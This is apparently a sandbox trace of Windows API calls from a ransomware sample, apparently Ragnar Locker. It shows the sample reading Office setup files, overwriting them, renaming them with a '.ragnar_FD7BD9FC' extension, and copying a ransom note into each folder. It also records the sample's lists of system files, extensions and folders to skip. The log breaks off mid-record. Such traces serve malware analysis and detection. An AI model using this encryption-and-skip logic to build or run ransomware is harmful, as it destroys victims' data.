GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0064.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0064.158] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=811) returned 1 [0064.158] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.158] GetProcessHeap () returned 0x580000 [0064.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0064.158] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0064.331] VirtualAlloc (lpAddress=0x0, dwSize=0x32b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0064.332] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.332] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0064.332] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x32b, lpOverlapped=0x0) returned 1 [0064.332] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0064.332] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x32b, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.332] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x32b, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x32b, lpOverlapped=0x0) returned 1 [0064.332] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x32b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.332] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0064.333] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x32b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.333] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.333] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0064.333] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0064.333] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0064.333] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.333] GetProcessHeap () returned 0x580000 [0064.333] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0064.333] CloseHandle (hObject=0x104) returned 1 [0064.334] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" [0064.334] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.ragnar_FD7BD9FC" [0064.334] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0064.438] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780f1660, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x780f1660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0064.438] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x66 [0064.438] lstrcpyW (in: lpString1=0x1ea0d6, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0064.439] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0064.439] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0064.439] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0064.439] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x66 [0064.439] lstrcpyW (in: lpString1=0x1ea0d6, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0064.439] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned=".XML" [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0064.439] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0064.439] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0064.439] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0064.439] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0064.439] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0064.439] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0064.439] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0064.439] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0064.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0064.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0064.440] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=5884) returned 1 [0064.440] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x16f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.440] GetProcessHeap () returned 0x580000 [0064.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0064.440] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0064.468] VirtualAlloc (lpAddress=0x0, dwSize=0x16fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0064.468] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.469] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0064.469] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x16fc, lpOverlapped=0x0) returned 1 [0064.526] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0064.526] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.526] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16fc, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x16fc, lpOverlapped=0x0) returned 1 [0064.526] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.526] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0064.527] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x16fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.527] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.527] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0064.527] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0064.527] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0064.527] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.527] GetProcessHeap () returned 0x580000 [0064.527] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0064.527] CloseHandle (hObject=0x104) returned 1 [0064.528] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" [0064.528] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0064.528] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0064.529] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0064.529] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0064.529] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2=".") returned 1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2="..") returned 1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2="Windows") returned -1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2="Windows.old") returned -1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2="Tor browser") returned -1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2="Internet Explorer") returned 1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2="Google") returned 1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2="Opera") returned 1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2="Opera Software") returned 1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2="Mozilla") returned 1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2="Mozilla Firefox") returned 1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2="$Recycle.Bin") returned 1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2="ProgramData") returned 1 [0064.529] lstrcmpiW (lpString1="PROPLUSR", lpString2="All Users") returned 1 [0064.529] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0064.529] lstrcpyW (in: lpString1=0x1eab90, lpString2="PROPLUSR" | out: lpString1="PROPLUSR") returned="PROPLUSR" [0064.529] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\" [0064.529] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\" [0064.529] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\RGNR_FD7BD9FC.txt" [0064.529] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0064.842] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*" [0064.843] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x60 [0064.843] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0064.843] lstrcpyW (in: lpString1=0x1e9cb6, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0064.843] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78e2f0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x78e2f0c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0064.843] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0064.843] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78e2f0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x78e2f0c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.843] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0064.843] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0064.843] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0064.843] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2=".") returned 1 [0064.843] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="..") returned 1 [0064.843] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78e2f0c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x78e2f0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0064.843] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0064.843] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0064.843] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0064.843] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0064.843] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0064.843] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0064.843] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0064.843] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78e2f0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, 